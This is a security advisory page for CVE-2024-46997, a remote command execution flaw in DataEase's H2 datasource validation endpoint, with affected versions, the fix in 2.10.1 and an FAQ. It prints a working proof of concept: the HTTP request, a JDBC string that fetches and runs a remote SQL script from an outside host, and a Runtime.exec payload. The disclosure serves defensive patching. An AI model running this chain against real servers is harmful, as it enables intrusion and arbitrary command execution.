CWE
74
Advisory Published
Advisory Published
Updated

CVE-2024-46997: DataEase's H2 datasource has a remote command execution risk

First published: Mon Sep 23 2024(Updated: )

### Impact An attacker can achieve remote command execution by adding a carefully constructed h2 data source connection string. request message: ``` POST /de2api/datasource/validate HTTP/1.1 Host: dataease.ubuntu20.vm User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: close X-DE-TOKEN: jwt Content-Length: 209 Content-Type: application/json { "id": "", "name": "test", "type": "h2", "configuration": "eyJqZGJjIjogImpkYmM6aDI6bWVtOnRlc3Q7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0lOSVQ9UlVOU0NSSVBUIEZST00gJ2h0dHA6Ly8xMC4xNjguMTc0LjE6ODAwMC9wb2Muc3FsJzsifQ==" } ``` h2 data source connection string: ``` // configuration { "jdbc": "jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '[http://10.168.174.1:8000/poc.sql'](http://10.168.174.1:8000/poc.sql%27);", } ``` the content of poc.sql: ``` // poc.sql CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('touch /tmp/jdbch2rce') ``` You can see that the file was created successfully in docker: ``` /tmp # ls -l jdbch2rce -rw-r--r-- 1 root root 0 Sep 16 22:02 jdbch2rce ``` Affected versions: <= 2.10.0 ### Patches The vulnerability has been fixed in v2.10.1. ### Workarounds It is recommended to upgrade the version to v2.10.1. ### References If you have any questions or comments about this advisory: Open an issue in https://github.com/dataease/dataease Email us at [wei@fit2cloud.com](mailto:wei@fit2cloud.com)

Credit: security-advisories@github.com security-advisories@github.com

Affected SoftwareAffected VersionHow to fix
maven/io.dataease:common<=2.10.0
2.10.1
Dataease<2.10.1

Never miss a vulnerability like this again

Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.

Frequently Asked Questions

  • What is the severity of CVE-2024-46997?

    CVE-2024-46997 is considered critical due to its potential for remote command execution.

  • How do I fix CVE-2024-46997?

    To fix CVE-2024-46997, upgrade affected software versions to at least io.dataease:common 2.10.1 or ensure that Dataease versions are beyond 2.10.1.

  • What types of systems are affected by CVE-2024-46997?

    CVE-2024-46997 affects systems running Dataease versions prior to 2.10.1 and io.dataease:common versions up to and including 2.10.0.

  • What kind of attack does CVE-2024-46997 facilitate?

    CVE-2024-46997 enables remote command execution attacks by exploiting a vulnerability in the data source connection string handling.

  • Can I mitigate CVE-2024-46997 without upgrading?

    Mitigation for CVE-2024-46997 without upgrading is limited; it is recommended to apply software updates as the most effective mitigation method.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2025 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203